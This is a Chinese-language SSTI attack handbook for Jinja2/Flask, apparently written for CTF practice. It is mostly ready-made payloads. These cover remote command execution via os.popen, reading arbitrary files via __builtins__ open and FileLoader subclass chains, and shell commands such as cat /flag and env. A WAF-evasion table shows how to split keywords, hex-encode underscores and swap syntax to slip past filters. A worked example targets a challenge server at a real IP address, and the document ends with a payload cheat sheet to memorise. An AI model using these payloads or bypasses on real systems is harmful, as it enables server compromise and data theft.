SSTI攻击链构造手册(带WAF绕过) SSTI攻击链构造手册 - 从看懂到自己写适用人群能看懂payload但自己写不出来的同学核心目标给你一个填空模板照着填就能构造出payload作者K1NG原创一、核心问题为什么你写不出来你的现状看到payload哦我懂了 自己写呃...先写什么来着这个attr放哪引号怎么配对原因不是你笨是你缺一个固定模板。就像做菜你看了100道菜谱但如果没人告诉你先热油、再放葱、最后放菜的顺序你还是不会做。解决方案记住一个5步攻击链每次做题照着走二、SSTI五步攻击链背下来第1步验证漏洞 → 确认有SSTI 第2步信息收集 → 看config里有没有flag 第3步选择武器 → 决定用哪条链 第4步构造payload → 按模板填空 第5步绕过WAF → 遇到过滤就替换三、每一步详细操作第1步验证漏洞目标确认网站有SSTI漏洞操作输入{{7*7}}判断返回49→ 有SSTI继续返回{{7*7}}→ 没有SSTI原样输出返回BLOCKED→ 有WAF看第5步第2步信息收集目标看flag藏在哪按顺序试这三个试1{{config}} → 找 SECRET_KEY如果有flag值 → 直接拿到了 试2{{url_for.__globals__[os].popen(ls).read()}} → 看文件列表有flag文件 → cat它 试3{{url_for.__globals__[os].popen(env).read()}} → 看环境变量有FLAG → 直接拿到如果没有WAF这三个就够了90%的题用试2就能解。第3步选择武器核心有3条攻击链按优先级选武器ARCE万能指令最常用先试这个{{url_for.__globals__[os].popen(命令).read()}}什么时候用没有WAF或WAF较弱用法把命令换成ls、cat flag、env等武器Bopen读文件WAF拦了os/popen时用{{lipsum.__globals__[__builtins__][open](/flag).read()}}什么时候用os被拦、popen被拦但open没被拦链路lipsum → __globals__ → __builtins__ → open → 读文件 → read武器C类继承链FileLoader全被拦时用{{().__class__.__bases__[0].__subclasses__()[91].get_data(0,/flag)}}什么时候用连open都被拦但FileLoader能用链路() → __class__ → __bases__[0] → __subclasses__()[91] → get_data → 读文件第4步构造payload填空模板这是最关键的一步。payload不是乱写的有固定结构。模板结构像写信一样有格式{%动作%} 对象 |方法1 |方法2 |方法3 (参数) |方法4 (参数) %}翻译成人话{%print%} 入口点 |attr(钥匙1) |attr(钥匙2) (开锁密码) |attr(钥匙3) (文件名) |attr(钥匙4)() %}具体填空以武器B为例你要读 /flag 文件一步步填第1空入口点 → lipsum固定不用想 第2空第一把钥匙 → __globals__固定进入全局变量 第3空第二把钥匙 → __getitem__固定用来取值 第4空开锁密码1 → __builtins__固定进入内置函数库 第5空第三把钥匙 → __getitem__固定再取值 第6空开锁密码2 → open要用的函数 第7空文件名 → /flag要读的文件 第8空最后一把钥匙 → read读取内容填入模板{%print lipsum|attr(__globals__)|attr(__getitem__)(__builtins__)|attr(__getitem__)(open)(/flag)|attr(read)()%}记住这个骨架{%print 入口|attr(钥匙)|attr(钥匙)(密码)|attr(钥匙)(密码)|attr(钥匙)(目标)|attr(钥匙)()%} ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ lipsum globals getitem builtins getitem open /flag read第5步绕过WAF替换表核心原则WAF拦什么你就拆什么。替换对照表贴在桌上看被拦的替换成原理{{ }}{%print %}用print语句替代输出.点号|attr(xxx)用过滤器替代点号__\x5f\x5fhex编码绕过___~_字符串拼接绕过被拦的关键字前半~后半拆成两半用~拼接单引号双引号换一种引号[]中括号|attr(__getitem__)()用方法替代{{}}被拦{%if 条件%}结果{%endif%}用if语句绕过的万能公式任何被拦的关键字 → 拆成两半中间加 ~举例open 被拦 → op~en flag 被拦 → fl~ag read 被拦 → re~ad globals 被拦 → glob~als builtins 被拦 → built~ins __ 被拦 → \x5f\x5f四、实战演练从零构造WAF题payload用刚做的那道WAF题演示怎么从零构造题目信息网址http://118.178.137.13:33007/greet参数nameWAF拦截{{、__、os、popen、open、read、flag、globals、builtins、config等构造过程第1步验证输入 {{7*7}} → BLOCKED: found {{→{{}}被拦换{%print%}输入 {%print 7*7%} → 返回49 ✓第2步试config输入 {%print config%} → BLOCKED: found config→ config被拦放弃直接上RCE第3步选武器试武器ARCE{%print url_for.__globals__[os].popen(ls).read()%} → BLOCKED: found __ → BLOCKED: found os → BLOCKED: found popen太多被拦换武器Bopen。第4步构造武器B的payload先写不带绕过的原始版{%print lipsum.__globals__[__builtins__][open](/flag).read()%}然后逐个替换被拦的部分原始被拦替换成.没测先换|attr(xxx)__globals____和globals被拦|attr(\x5f\x5fglob~als\x5f\x5f)[__builtins__]__和builtins被拦|attr(\x5f\x5fgetit~em\x5f\x5f)(\x5f\x5fbuilt~ins\x5f\x5f)[open]open被拦|attr(\x5f\x5fgetit~em\x5f\x5f)(op~en)(/flag)flag被拦(/fl~ag).read().和read被拦|attr(re~ad)()最终拼接结果{%print lipsum|attr(\x5f\x5fglob~als\x5f\x5f)|attr(\x5f\x5fgetit~em\x5f\x5f)(\x5f\x5fbuilt~ins\x5f\x5f)|attr(\x5f\x5fgetit~em\x5f\x5f)(op~en)(/fl~ag)|attr(re~ad)()%}第5步验证发送 → flag{2cbe47b7-a66b-46fd-841b-d026fab105c9} ✓五、payload构造速查卡贴桌上的5.1 三条武器链对照武器ARCE最简单: {%print url_for|attr(\x5f\x5fglobals\x5f\x5f)|attr(\x5f\x5fgetitem\x5f\x5f)(o~s)|attr(pop~en)(命令)|attr(re~ad)()%} 武器Bopen读文件: {%print lipsum|attr(\x5f\x5fglob~als\x5f\x5f)|attr(\x5f\x5fgetit~em\x5f\x5f)(\x5f\x5fbuilt~ins\x5f\x5f)|attr(\x5f\x5fgetit~em\x5f\x5f)(op~en)(/fl~ag)|attr(re~ad)()%} 武器CFileLoader: {%print ()|attr(\x5f\x5fcl~ass\x5f\x5f)|attr(\x5f\x5fba~ses\x5f\x5f)|first|attr(\x5f\x5fsub~classes\x5f\x5f)()|attr(pop)(91)|attr(get~_data)(0,/fl~ag)%}5.2 常用命令填空看文件列表 popen(ls) 看根目录 popen(ls /) 读文件 popen(cat /fl~ag) 看环境变量 popen(env) 搜索文件 popen(find / -name fl~ag*)5.3 绕过填空模板原始代码 被拦关键字.方法(参数) ↓ 绕过版 入口|attr(\x5f\x5f拆~开\x5f\x5f)|attr(\x5f\x5fgetit~em\x5f\x5f)(拆~开) 规则 1. . → |attr() 2. __ → \x5f\x5f 3. 关键字 → 前半~后半 4. [] → |attr(\x5f\x5fgetitem\x5f\x5f)() 5. {{}} → {%print %}六、做SSTI题的完整流程图开始 ↓ 输入 {{7*7}} ↓ 返回49──No──→ 不是SSTI换题 ↓Yes 有WAF ↓Yes 测试WAF拦了什么逐个关键字测试 ↓ {{}}被拦→ 用{%print%} .被拦 → 用|attr() __被拦 → 用\x5f\x5f 关键字被拦→ 用前半~后半拼接 ↓ 构造payload按5.1的模板填空 ↓ 试武器Bopen读文件 ↓ 失败→ 试武器CFileLoader ↓ 拿到flag ↓ 没WAF ↓Yes 直接用武器A{{url_for.__globals__[os].popen(cat /flag).read()}} ↓ config有flag→ 直接{{config}} ↓ 文件有flag → cat flag ↓ 环境变量有 → env ↓ 搞定七、练习建议7.1 背诵清单把这4行背下来做题时往里填1. 验证{%print 7*7%} 2. RCE{%print url_for|attr(__globals__)|attr(__getitem__)(os)|attr(popen)(命令)|attr(read)()%} 3. open{%print lipsum|attr(__globals__)|attr(__getitem__)(__builtins__)|attr(__getitem__)(open)(/flag)|attr(read)()%} 4. FileLoader{%print ()|attr(__class__)|attr(__bases__)|first|attr(__subclasses__)()|attr(pop)(91)|attr(get_data)(0,/flag)%}7.2 练习方法先背模板不绕过的版本每次做题先写不绕过的原始版再逐个替换被拦的部分记住先写对再绕过7.3 常见错误❌ 一上来就写绕过版自己都看不懂✅ 先写原始版确认链路对再逐个绕过❌ 忘记引号配对✅ 用双引号避免和单引号混淆八、一句话总结SSTI payload不是写出来的是填空填出来的。记住模板 → 填入口点和目标 → 遇到WAF就替换 → 搞定。